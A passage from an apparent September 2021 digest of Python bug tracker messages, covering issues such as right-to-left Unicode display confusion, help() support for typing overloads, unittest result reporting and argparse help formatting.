09:15:48 2021 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 05 Sep 2021 13:15:48 +0000 Subject: [issue45105] Incorrect handling of unicode character \U00010900 In-Reply-To: <1630840329.53.0.683865786934.issue45105@roundup.psfhosted.org> Message-ID: <1630847748.93.0.0515886498159.issue45105@roundup.psfhosted.org> Steven D'Aprano added the comment: Eryk Sun said: > The original string has the Phoenician right-to-left character at index 1, not at index 3. I think you may be mistaken. In Max's original post, he has s = '000X' where the X is actually the Phoenician ALF character. At least that is how it is displayed in my browser. (But note that in the Windows terminal, Max has '0X00' instead.) Max's demonstration code shows a discrepancy between extracting the chars one by one using indexing, and with list. Simulating his error: s = '000X' # X is actually ALF list(s) # --> returns [0 0 0 X] [s[i] for i in range(4)] # indexing each char one at a time # --> returns [0 X 0 0] I have not yet been able to replicate that reported behaviour. I agree totally with Eryk Sun that this is probably not a Python bug. He thinks it is displaying the correct behaviour. I think it is probably a browser or xterm bug. But unless someone can replicate the mismatch between list and indexing, I doubt it is something we can do anything about. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 09:16:31 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 05 Sep 2021 13:16:31 +0000 Subject: [issue45026] More compact range iterator In-Reply-To: <1630033413.29.0.592444888293.issue45026@roundup.psfhosted.org> Message-ID: <1630847791.67.0.616501494915.issue45026@roundup.psfhosted.org> Serhiy Storchaka added the comment: PR 28176 implements idea proposed by Dennis in msg400396. It keeps the current and stop values instead of the initial start, index and initial length. I do not have data yet, but it is expected that it's iteration may be faster (for large integers), but __lenght_hint__ should be slower. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 09:56:38 2021 From: report at bugs.python.org (Eryk Sun) Date: Sun, 05 Sep 2021 13:56:38 +0000 Subject: [issue45105] Incorrect handling of unicode character \U00010900 In-Reply-To: <1630840329.53.0.683865786934.issue45105@roundup.psfhosted.org> Message-ID: <1630850198.37.0.897084267297.issue45105@roundup.psfhosted.org> Eryk Sun added the comment: > I think you may be mistaken. In Max's original post, he has > s = '000X' It displays that way for me under Firefox in Linux, but what's really there when I copy it from Firefox is '0\U0001090000', which matches the result Max gets for individual index operations such as s[1]. The "0" characters following the R-T-L character have weak directionality. So the string displays the same as "000\U00010900". If you print with spaces and use a number sequence, the substring starting with the R-T-L character should display reversed, i.e. print(*'123\U00010900456') should display the same as print(*'123654\U00010900'). But "abc" in print(*'123\U00010900abc') should not display reversed since it has L-T-R directionality. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 09:57:48 2021 From: report at bugs.python.org (Serhiy Storchaka) Date: Sun, 05 Sep 2021 13:57:48 +0000 Subject: [issue45105] Incorrect handling of unicode character \U00010900 In-Reply-To: <1630840329.53.0.683865786934.issue45105@roundup.psfhosted.org> Message-ID: <1630850268.74.0.30886345444.issue45105@roundup.psfhosted.org> Change by Serhiy Storchaka : ---------- status: open -> pending _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 10:48:32 2021 From: report at bugs.python.org (Guido van Rossum) Date: Sun, 05 Sep 2021 14:48:32 +0000 Subject: [issue44863] Allow TypedDict to inherit from Generics In-Reply-To: <1630830210.7.0.970792681827.issue44863@roundup.psfhosted.org> Message-ID: Guido van Rossum added the comment: Updating an existing (standards track) PEP significantly is not traditional. I recommend writing a new PEP. On Sun, Sep 5, 2021 at 01:24 Ken Jin wrote: > > Ken Jin added the comment: > > Guido, OP has kindly written a mini PEP for this. Do you think just > updating PEP 589 is sufficient, or do we need a full PEP? > > (PS. Changed version to 3.11 since we've missed the train for 3.10 > enhancements). > > ---------- > versions: -Python 3.10 > > _______________________________________ > Python tracker > > _______________________________________ > -- --Guido (mobile) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 10:51:42 2021 From: report at bugs.python.org (Max Bachmann) Date: Sun, 05 Sep 2021 14:51:42 +0000 Subject: [issue45105] Incorrect handling of unicode character \U00010900 In-Reply-To: <1630840329.53.0.683865786934.issue45105@roundup.psfhosted.org> Message-ID: <1630853502.43.0.702299323838.issue45105@roundup.psfhosted.org> Max Bachmann added the comment: > That is using Python 3.9 in the xfce4-terminal. Which xterm are you using? This was in the default gnome terminal that is pre-installed on Fedora 34 and on windows I directly opened the Python Terminal. I just installed xfce4-terminal on my Fedora 34 machine which has exactly the same behavior for me that I had in the gnome terminal. > But regardless, I cannot replicate the behavior you show where list(s) is different from indexing the characters one by one. That is what surprised me the most. I just ran into this because this was somehow generated when fuzz testing my code using hypothesis (which uncovered an unrelated bug in my application). However I was quite confused by the character order when debugging it. My original case was: ``` s1='00????' s2='9010?000\x8d????222?' parts = [s2[max(0, i) : min(len(s2), i+len(s1))] for i in range(-len(s1), len(s2))] for part in parts: print(list(part)) ``` which produced ``` [] ['9'] ['9', '0'] ['9', '0', '1'] ['9', '0', '1', '0'] ['9', '0', '1', '0', '?'] ['9', '0', '1', '0', '?', '0'] ['0', '1', '0', '?', '0', '0'] ['1', '0', '?', '0', '0', '0'] ['0', '?', '0', '0', '0', '\x8d'] ['?', '0', '0', '0', '\x8d', '?'] ['0', '0', '0', '\x8d', '?', '?'] ['0', '0', '\x8d', '?', '?', '?'] ['0', '\x8d', '?', '?', '?', '?'] ['\x8d', '?', '?', '?', '?', '2'] ['?', '?', '?', '?', '2', '2'] ['?', '?', '?', '2', '2', '2'] ['?', '?', '2', '2', '2', '?'] ['?', '2', '2', '2', '?'] ['2', '2', '2', '?'] ['2', '2', '?'] ['2', '?'] ['??] ``` which has a missing single quote: - ['??] changing direction of characters including commas: - ['1', '0', '?', '0', '0', '0'] changing direction back: - ['?', '0', '0', '0', '\x8d', '?'] > AFAICT, there is no bug here. It's just confusing how Unicode right-to-left characters in the repr() can modify how it's displayed in the console/terminal. Yes it appears the same confusion occurs in other applications like Firefox and VS Code. Thanks at @eryksun and @steven.daprano for testing and telling me about Bidirectional writing in Unicode (The more I know about Unicode the more it scares me) ---------- status: pending -> open _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 11:53:18 2021 From: report at bugs.python.org (Andrew Suttle) Date: Sun, 05 Sep 2021 15:53:18 +0000 Subject: [issue45106] Issue formating for log on Linux machines Message-ID: <1630857198.47.0.486193642329.issue45106@roundup.psfhosted.org> New submission from Andrew Suttle : Using the format option for Python logging works fine on all windows machines: logging.basicConfig(filename='log.log', encoding='utf-8', level=logging.DEBUG,format='%(asctime)s : %(message)s ') But error occurs on Linux mint 64 20.2 using Python 3.8 when the % symbol in the format causes a problem. Traceback (most recent call last): File "/usr/lib/python3.8/idlelib/run.py", line 559, in runcode exec(code, self.locals) File "/media/victor/B694-5211/python now git/prototype server3.py", line 14, in logging.basicConfig(filename='log.log', encoding='utf-8', level=logging.DEBUG,format='%(asctime)s:%(message)s') File "/usr/lib/python3.8/logging/init.py", line 2009, in basicConfig raise ValueError('Unrecognised argument(s): %s' % keys) ValueError: Unrecognised argument(s): encoding ---------- files: program.txt messages: 401089 nosy: andrewsuttle56 priority: normal severity: normal status: open title: Issue formating for log on Linux machines type: compile error versions: Python 3.8 Added file: https://bugs.python.org/file50261/program.txt _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun Sep 5 11:53:23 2021 From: report at bugs.python.org (Steven D'Aprano) Date: Sun, 05 Sep 2021 15:53:23 +0000 Subject: [issue45105] Incorrect handling of unicode character \U00010900 In-Reply-To: <1630850198.37.0.897084267297.issue45105@roundup.psfhosted.org> Message-ID: <20210905155119.GB30122@ando.pearwood.info> Steven D'Aprano added the comment: > what's really there when I copy it from Firefox is '0\U0001090000', > which matches the result Max gets for individual index operations such as s[1]. But *not* the result that Max got from calling list(). Can you reproduce that difference between indexing and list? Also you say "what's really there", but what is your reasoning for that? How do you know that Firefox is displaying the string wrongly, rather than displaying it correctly and copying it to the clipboard wrongly? When I look at the page source of the b.p.o page, I see:
I noticed that when using the Unicode character \U00010900 when 
    inserting the character as character:
    Here is the result on the Python console both for 3.6 and 3.9:
    ```
    >>> s = '000X'

again, with X standing in for the Phoenician ALF character. But when I 
copy and paste it into my terminal, I see

    >>> s = '0X00'

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 11:54:27 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 05 Sep 2021 15:54:27 +0000
Subject: [issue41031] Inconsistency in C and python traceback printers
In-Reply-To: <1592556858.95.0.825167658939.issue41031@roundup.psfhosted.org>
Message-ID: <1630857267.39.0.947553992164.issue41031@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:


New changeset 9e31b3952f6101ef71ec029481b972169ab0e0f1 by Irit Katriel in branch 'main':
bpo-41031: Match C and Python code formatting of unprintable exceptions and exceptions in the __main__ module. (GH-28139)
https://github.com/python/cpython/commit/9e31b3952f6101ef71ec029481b972169ab0e0f1


----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 12:01:40 2021
From: report at bugs.python.org (Steven D'Aprano)
Date: Sun, 05 Sep 2021 16:01:40 +0000
Subject: [issue45105] Incorrect handling of unicode character \U00010900
In-Reply-To: <1630850198.37.0.897084267297.issue45105@roundup.psfhosted.org>
Message-ID: <20210905155937.GC30122@ando.pearwood.info>


Steven D'Aprano  added the comment:

Hmmm, digging deeper, I saved the page source code and opened it with 
hexdump. The relevant lines are:

00007780  60 60 0d 0a 26 67 74 3b  26 67 74 3b 26 67 74 3b  |``..>>>|
00007790  20 73 20 3d 20 27 30 f0  90 a4 80 30 30 27 0d 0a  | s = '0....00'..|

which looks like Eryk Sun is correct, what is really there is '0X00' and 
Firefox just displays it in RTL order '000X'.

Mystery solved :-)

So now that only leaves the (unreproduced?) bug report of the difference 
in order between indexing and list(). Max, are you still certain that 
this difference exists? Can you replicate it with other strings, 
preferably with distinct characters?

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 12:08:23 2021
From: report at bugs.python.org (Jack O'Connor)
Date: Sun, 05 Sep 2021 16:08:23 +0000
Subject: [issue39298] add BLAKE3 to hashlib
In-Reply-To: <1578716860.16.0.194711020268.issue39298@roundup.psfhosted.org>
Message-ID: <1630858103.64.0.133616408067.issue39298@roundup.psfhosted.org>


Jack O'Connor  added the comment:

Hi Micha?, no I haven't done any more work on this since my comments back in April. If you wanted to get started on a PyPI implementation, I think that would be fantastic. I'd be happy to collaborate over email: oconnor663 at gmail.com. The branches I linked are still up, but I'm not sure my code will be very useful to someone who actually knows what they're doing :) Larry also had several ideas about how multithreading could fit in (which would be API changes in the Rust case, and forward-looking design work in the C case), and if I get permission from Larry I'll forward those emails.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 12:14:44 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 05 Sep 2021 16:14:44 +0000
Subject: [issue45100] Teach help about typing.overload()
In-Reply-To: <1630778608.65.0.813637953031.issue45100@roundup.psfhosted.org>
Message-ID: <1630858484.4.0.260515886029.issue45100@roundup.psfhosted.org>


Raymond Hettinger  added the comment:

> The two @overload definitions will be overwritten by 
> the non-overload one at runtime, and hence will ever 
> been seen by help().

We can fix this by adding an __overloads__ attribute.  The overload decorator can accumulate the chain in an external namespace and function creation can move that accumulation into the new attribute.

----- Proof of concept -----

from typing import Union, _overload_dummy

def create_function(func):
    namespace = func.__globals__
    key = f'__overload__{func.__qualname__}__'
    func.__overloads__ = namespace.pop(key, [])
    return func

def overload(func):
    namespace = func.__globals__
    key = f'__overload__{func.__qualname__}__'
    namespace[key] = func.__overloads__ + [func.__annotations__]
    return _overload_dummy

class Smudge(str):

    @overload
    @create_function
    def __getitem__(self, index: int) -> str:
        ...

    @overload
    @create_function
    def __getitem__(self, index: slice) -> 'Smudge':
        ...

    @create_function
    def __getitem__(self, index: Union[int, slice]) -> Union[str, 'Smudge']:
        'Return a smudged character or characters.' 
        if isinstance(index, slice):
            start, stop, step = index.indices(len(self))
            values = [self[i] for i in range(start, stop, step)]
            return Smudge(''.join(values))
        c = super().__getitem__(index)
        return chr(ord(c) ^ 1)

    @create_function
    def other_method(self, x:str) -> tuple:
        pass

print(f'{Smudge.__getitem__.__annotations__=}')
print(f'{Smudge.__getitem__.__overloads__=}')
print(f'{Smudge.other_method.__annotations__=}') 
print(f'{Smudge.other_method.__overloads__=}')

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 12:16:56 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 05 Sep 2021 16:16:56 +0000
Subject: [issue45100] Improve help() by making typing.overload() information
 accessible at runtime
In-Reply-To: <1630778608.65.0.813637953031.issue45100@roundup.psfhosted.org>
Message-ID: <1630858616.29.0.836993269144.issue45100@roundup.psfhosted.org>


Change by Raymond Hettinger :


----------
title: Teach help about typing.overload() -> Improve help() by making typing.overload() information accessible at runtime
versions: +Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 12:32:08 2021
From: report at bugs.python.org (Max Bachmann)
Date: Sun, 05 Sep 2021 16:32:08 +0000
Subject: [issue45105] Incorrect handling of unicode character \U00010900
In-Reply-To: <1630840329.53.0.683865786934.issue45105@roundup.psfhosted.org>
Message-ID: <1630859528.58.0.150083497231.issue45105@roundup.psfhosted.org>


Max Bachmann  added the comment:

As far as a I understood this is caused by the same reason:

```
>>> s = '123\U00010900456'
>>> s
'123?456'
>>> list(s)
['1', '2', '3', '?', '4', '5', '6']
# note that everything including the commas is mirrored until ] is reached
>>> s[3]
'?'
>>> list(s)[3]
'?'
>>> ls = list(s)
>>> ls[3] += 'a'
>>> ls
['1', '2', '3', '?a', '4', '5', '6']
```

Which as far as I understood is the expected behavior when a right-to-left character is encountered.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 12:39:16 2021
From: report at bugs.python.org (Ken Jin)
Date: Sun, 05 Sep 2021 16:39:16 +0000
Subject: [issue45107] Improve LOAD_METHOD specialization
Message-ID: <1630859956.74.0.360849757822.issue45107@roundup.psfhosted.org>


New submission from Ken Jin :

I plan to do two improvements over the initial implementation:

1. General comments cleanup and optimize LOAD_METHOD_CLASS.

2. Implement LOAD_METHOD_SUPER, for super().meth() calls.

See Issue44889 for the precursor.

----------
components: Interpreter Core
messages: 401096
nosy: kj
priority: normal
severity: normal
status: open
title: Improve LOAD_METHOD specialization
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 12:39:33 2021
From: report at bugs.python.org (Ken Jin)
Date: Sun, 05 Sep 2021 16:39:33 +0000
Subject: [issue45107] Improve LOAD_METHOD specialization
In-Reply-To: <1630859956.74.0.360849757822.issue45107@roundup.psfhosted.org>
Message-ID: <1630859973.21.0.436948482019.issue45107@roundup.psfhosted.org>


Change by Ken Jin :


----------
keywords: +patch
pull_requests: +26604
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28177

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 12:53:27 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Sun, 05 Sep 2021 16:53:27 +0000
Subject: [issue45100] Improve help() by making typing.overload() information
 accessible at runtime
In-Reply-To: <1630778608.65.0.813637953031.issue45100@roundup.psfhosted.org>
Message-ID: <1630860807.88.0.101099630842.issue45100@roundup.psfhosted.org>


Raymond Hettinger  added the comment:

Note, I'm not proposing a create_function() decorator.  That is just for the proof of concept.  The actual logic would go into normal function creation, the same place that __annotations__ gets added.

Also, there may be a better place than func.__globals__ to accumulate the overloads.  For the proof-of-concept, it was just the easiest way to go.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 13:35:08 2021
From: report at bugs.python.org (Alex Hall)
Date: Sun, 05 Sep 2021 17:35:08 +0000
Subject: [issue45108] frame.f_lasti points at DICT_MERGE instead of
 CALL_FUNCTION_EX in Windows only
Message-ID: <1630863308.34.0.524127924669.issue45108@roundup.psfhosted.org>


New submission from Alex Hall :

In this script:

    import inspect
    import dis
    
    def foo(**_):
        frame = inspect.currentframe().f_back
        print(frame.f_lasti)
        dis.dis(frame.f_code)
    
    d = {'a': 1, 'b': 2}
    foo(**d)

dis shows these instructions for `foo(**d)`:

 10          34 LOAD_NAME                2 (foo)
             36 BUILD_TUPLE              0
             38 BUILD_MAP                0
             40 LOAD_NAME                3 (d)
             42 DICT_MERGE               1
             44 CALL_FUNCTION_EX         1
             46 POP_TOP
             48 LOAD_CONST               1 (None)
             50 RETURN_VALUE

On Linux/OSX, frame.f_lasti is 44, pointing to the CALL_FUNCTION_EX as I'd expect.

But on Windows it's 42, which is the preceding instruction DICT_MERGE.

The bytecode itself is identical on the different systems, it's just the frame offset that differs.

This manifested as a test failure in a debugging tool here: https://github.com/samuelcolvin/python-devtools/pull/93

----------
components: Interpreter Core, Windows
messages: 401098
nosy: alexmojaki, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: frame.f_lasti points at DICT_MERGE instead of CALL_FUNCTION_EX in Windows only
type: behavior
versions: Python 3.10, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 13:36:04 2021
From: report at bugs.python.org (Nikita Sobolev)
Date: Sun, 05 Sep 2021 17:36:04 +0000
Subject: [issue45034] Improve struct.pack out of range error messages
In-Reply-To: <1630112525.53.0.10403701832.issue45034@roundup.psfhosted.org>
Message-ID: <1630863364.79.0.0337103645118.issue45034@roundup.psfhosted.org>


Change by Nikita Sobolev :


----------
keywords: +patch
pull_requests: +26605
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28178

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 13:45:39 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 05 Sep 2021 17:45:39 +0000
Subject: [issue1705520] API for excluding methods from unittest stack traces
Message-ID: <1630863939.88.0.0799780595915.issue1705520@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

What to do with comprehensions and classes? Corresponding code objects are not easily accessible and they do not have corresponding function. It would be difficult to use the locals of the frame with comprehensions.

Maybe use per-module registries of qualnames?

class MyAssertions:
    def assertComplexState(self, inputs):
        self.assertEqual('42', inputs[0], 'the input %s is not the right answer' % inputs)

__unittests = {'MyAssertions.assertComplexState'}

The frame is skipped if f_globals['__unittests'] contains co_qualname or any parents of co_qualname.

We can even add a decorator:

def assertion(func):
    mod = sys.modules[func.__module__]
    mod.__dict__.setdefault('__unittests', set())
    mod.__setdefault.add(func.__qualname__)
    return func

----------
nosy: +serhiy.storchaka
versions: +Python 3.11 -Python 3.4

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 13:46:37 2021
From: report at bugs.python.org (Samuel Colvin)
Date: Sun, 05 Sep 2021 17:46:37 +0000
Subject: [issue45108] frame.f_lasti points at DICT_MERGE instead of
 CALL_FUNCTION_EX in Windows only
In-Reply-To: <1630863308.34.0.524127924669.issue45108@roundup.psfhosted.org>
Message-ID: <1630863997.74.0.41537606514.issue45108@roundup.psfhosted.org>


Samuel Colvin  added the comment:

Perhaps worth adding that the tests don't fail on python 3.6, 3.7 or 3.8.

----------
nosy: +samuelcolvin

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 13:56:47 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 05 Sep 2021 17:56:47 +0000
Subject: [issue25894] unittest subTest failure causes result to be omitted
 from listing
In-Reply-To: <1450331375.94.0.689081172202.issue25894@psf.upfronthosting.co.za>
Message-ID: <1630864607.72.0.641841986069.issue25894@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

Any suggestions for the format of output? Currently PR 28082 formats lines for subtest skipping, failure or error with a 2-space identation. Lines for skipping, failure or error in tearDown() or functions registered with addCallback() do not differ from a line skipping, failure or error in the test method itself.

I am not sure about backporting this change. On one hand, it fixes an old flaw in the unittest output. On other hand, the change affects not only subtests and can confuse programs which parse the unittest output because the test descriptions can occur multiple times.

----------
versions: +Python 3.11 -Python 3.5, Python 3.6

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 14:42:37 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 05 Sep 2021 18:42:37 +0000
Subject: [issue30856] unittest.TestResult.addSubTest should be called
 immediately after subtest finishes
In-Reply-To: <1499262996.04.0.921631870961.issue30856@psf.upfronthosting.co.za>
Message-ID: <1630867357.44.0.940751692806.issue30856@roundup.psfhosted.org>


Change by Serhiy Storchaka :


----------
keywords: +patch
nosy: +serhiy.storchaka
nosy_count: 4.0 -> 5.0
pull_requests: +26606
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28180

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 14:45:39 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 05 Sep 2021 18:45:39 +0000
Subject: [issue30856] unittest.TestResult.addSubTest should be called
 immediately after subtest finishes
In-Reply-To: <1499262996.04.0.921631870961.issue30856@psf.upfronthosting.co.za>
Message-ID: <1630867539.32.0.0593005557173.issue30856@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

Before b3468f79efa45c8adaf86c0b9b797b9b3d4c12a2 the TestResult methods (addFailure, addError, addSkip, addExpectedFailure, addUnexpectedSuccess) were called immediately after running the test method. After that change all skips, failures and errors were accumulated separately and TestResult was updated only after the test cleanup. I do not know whether there were reasons for this or it is just an implementation artifact.

The proposed PR makes addFailure, addError, addSkip and addSubTest be called immediately after raising an exception or finishing a subtest. addExpectedFailure, addUnexpectedSuccess and addSuccess still need to wait the end of the test cleanup.

----------
versions: +Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 14:54:59 2021
From: report at bugs.python.org (Richard Tollerton)
Date: Sun, 05 Sep 2021 18:54:59 +0000
Subject: [issue45109] pipes seems designed for bytes but is str-only
Message-ID: <1630868099.65.0.267189111199.issue45109@roundup.psfhosted.org>


New submission from Richard Tollerton :

1. https://github.com/python/cpython/blob/3.9/Lib/pipes.py#L6

> Suppose you have some data that you want to convert to another format,
> such as from GIF image format to PPM image format.

2. https://docs.python.org/3.9/library/pipes.html

> Because the module uses /bin/sh command lines, a POSIX or compatible shell for os.system() and os.popen() is required.

3. https://docs.python.org/3.9/library/os.html#os.popen

> The returned file object reads or writes text strings rather than bytes.


(1) and (3) are AFAIK mutually contradictory: you can't reasonably expect to shove GIFs down a str file object. I'm guessing that pipes is an API that never got its bytes API fleshed out?

My main interest in this is that I'm writing a large CSV to disk and wanted to pipe it through zstd first. And I wanted something like perl's open FILE, "|zstd -T0 -19 > out.txt.zst". But the CSV at present is all bytes. (Technically the content is all latin1 at the moment, so I may have a workaround, but I'm not 100% certain it will stay that way.)

What I'd like to see is for pipes.Template.open() to accept 'b' in flags, and for that to be handled in the usual way.

----------
components: Library (Lib)
messages: 401103
nosy: rtollert
priority: normal
severity: normal
status: open
title: pipes seems designed for bytes but is str-only
versions: Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 14:55:50 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 05 Sep 2021 18:55:50 +0000
Subject: [issue35741] unittest.skipUnless(time._STRUCT_TM_ITEMS == 11,
 "needs tm_zone support") doesn't work
In-Reply-To: <1547544727.75.0.967204925198.issue35741@roundup.psfhosted.org>
Message-ID: <1630868150.5.0.448875139588.issue35741@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

_STRUCT_TM_ITEMS was always set to 11 since issue25283.

On what platform test_localtime_timezone fails now?

----------
nosy: +serhiy.storchaka

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 15:07:41 2021
From: report at bugs.python.org (Serhiy Storchaka)
Date: Sun, 05 Sep 2021 19:07:41 +0000
Subject: [issue36674] "unittest.TestCase.debug" should honour "skip" (and
 other test controls)
In-Reply-To: <1555752054.75.0.256314796752.issue36674@roundup.psfhosted.org>
Message-ID: <1630868861.4.0.196732248344.issue36674@roundup.psfhosted.org>


Serhiy Storchaka  added the comment:

There are too many issues with TestResult.debug(). It does not call tearDown() and doCleanups() if the test is skipped, failed or raises other exception (including errors in cleanup). It does not support skipping decorators. It does not support the expectedFailure decorator. It does not work at all in IsolatedAsyncioTestCase.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 15:54:49 2021
From: report at bugs.python.org (Ned Deily)
Date: Sun, 05 Sep 2021 19:54:49 +0000
Subject: [issue44848] Upgrade macOS and Windows installers to use SQLite 3.36.0
In-Reply-To: <1628237294.86.0.651703128522.issue44848@roundup.psfhosted.org>
Message-ID: <1630871689.37.0.887021009671.issue44848@roundup.psfhosted.org>


Ned Deily  added the comment:


New changeset 5024dc1c6e08247693aea6ad6e225ec5dcaf0721 by Erlend Egeberg Aasland in branch 'main':
bpo-44848: Update macOS installer to use SQLite 3.36.0 (GH-27621)
https://github.com/python/cpython/commit/5024dc1c6e08247693aea6ad6e225ec5dcaf0721


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 18:27:20 2021
From: report at bugs.python.org (=?utf-8?q?Benjamin_Sz=C5=91ke?=)
Date: Sun, 05 Sep 2021 22:27:20 +0000
Subject: [issue21302] time.sleep (floatsleep()) should use clock_nanosleep()
 on Linux
In-Reply-To: <1397851923.06.0.0550198760464.issue21302@psf.upfronthosting.co.za>
Message-ID: <1630880840.43.0.230549282713.issue21302@roundup.psfhosted.org>


Benjamin Sz?ke  added the comment:

Can you review my final implementation?
https://github.com/python/cpython/pull/28111

----------
versions: +Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 22:13:43 2021
From: report at bugs.python.org (Keith)
Date: Mon, 06 Sep 2021 02:13:43 +0000
Subject: =?utf-8?q?=5Bissue39355=5D_The_Python_library_will_not_compile_with_a_C++?=
 =?utf-8?q?2020_compiler_because_the_code_uses_the_reserved_=E2=80=9Cmodul?=
 =?utf-8?b?ZeKAnSBrZXl3b3Jk?=
In-Reply-To: <1629473225.32.0.832038745679.issue39355@roundup.psfhosted.org>
Message-ID: 


Keith  added the comment:

the word "module" should be treated as a reserved keyword.

Any use of "module" as an argument name should be changed to something else
throughout the code base.

On Fri, Aug 20, 2021 at 11:28 PM Hasan  wrote:

>
> Hasan  added the comment:
>
> We have tested with cxx-modules that issue.
> module is just a specifier for export (only export is a compiler-based
> keyword in >= C++20)
> That's why we can use module as argument name and there's no need to
> rename or delete *module arguments from header files.
>
> What do you recommend to do?
>
> http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2019/p1103r3.pdf
>
> ----------
>
> _______________________________________
> Python tracker 
> 
> _______________________________________
>

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 22:18:58 2021
From: report at bugs.python.org (Forest)
Date: Mon, 06 Sep 2021 02:18:58 +0000
Subject: [issue45110] argparse repeats itself when formatting help metavars
Message-ID: <1630894738.41.0.447837429449.issue45110@roundup.psfhosted.org>


New submission from Forest :

When argparse actions have multiple option strings and at least one argument, the default formatter presents them like this:

  -t ARGUMENT, --task ARGUMENT
                        Perform a task with the given argument.
  -p STRING, --print STRING
                        Print the given string.

By repeating the metavars, the formatter wastes horizontal space, making the following side-effects more likely:

- The easy-to-read tabular format is undermined by overlapping text columns.
- An action and its description are split apart, onto separate lines.
- Fewer actions can fit on the screen at once.
- The user is presented with extra noise (repeat text) to read through.


I think the DRY principle is worth considering here. Help text would be cleaner, more compact, and easier to read if formatted like this:

  -t, --task ARGUMENT   Perform a task with the given argument.
  -p, --print STRING    Print the given string.

Obviously, actions with especially long option strings or metavars could still trigger line breaks, but they would be much less common and still easier to read without the repeat text.


I am aware of ArgumentParser's formatter_class option, but unfortunately, it is of little help here.  Since the default formatter class reserves every stage of its work as a private implementation detail, I cannot safely subclass it to get the behavior I want.  My choices are apparently to either re-implement an unreasonably large swath of its code in my own formatter class, or override the private _format_action_invocation() method in a subclass and risk future breakage (and still have to re-implement more code than is reasonable.)

Would it make sense to give HelpFormatter a "don't repeat yourself" option?  (For example, a boolean class attribute could be overridden by a subclass and would be a small change to the existing code.)

Alternatively, if nobody is attached to the current behavior, would it make sense to simply change HelpFormatter such that it never repeats itself?

----------
components: Library (Lib)
messages: 401110
nosy: forest
priority: normal
severity: normal
status: open
title: argparse repeats itself when formatting help metavars
type: behavior
versions: Python 3.10, Python 3.11, Python 3.6, Python 3.7, Python 3.8, Python 3.9

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 22:49:15 2021
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Mon, 06 Sep 2021 02:49:15 +0000
Subject: [issue45110] argparse repeats itself when formatting help metavars
In-Reply-To: <1630894738.41.0.447837429449.issue45110@roundup.psfhosted.org>
Message-ID: <1630896555.08.0.262847362184.issue45110@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan :


----------
nosy: +paul.j3, rhettinger

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Sun Sep  5 23:11:16 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 06 Sep 2021 03:11:16 +0000
Subject: [issue45110] argparse repeats itself when formatting help metavars
In-Reply-To: <1630894738.41.0.447837429449.issue45110@roundup.psfhosted.org>
Message-ID: <1630897876.57.0.16019160412.issue45110@roundup.psfhosted.org>


Raymond Hettinger  added the comment:

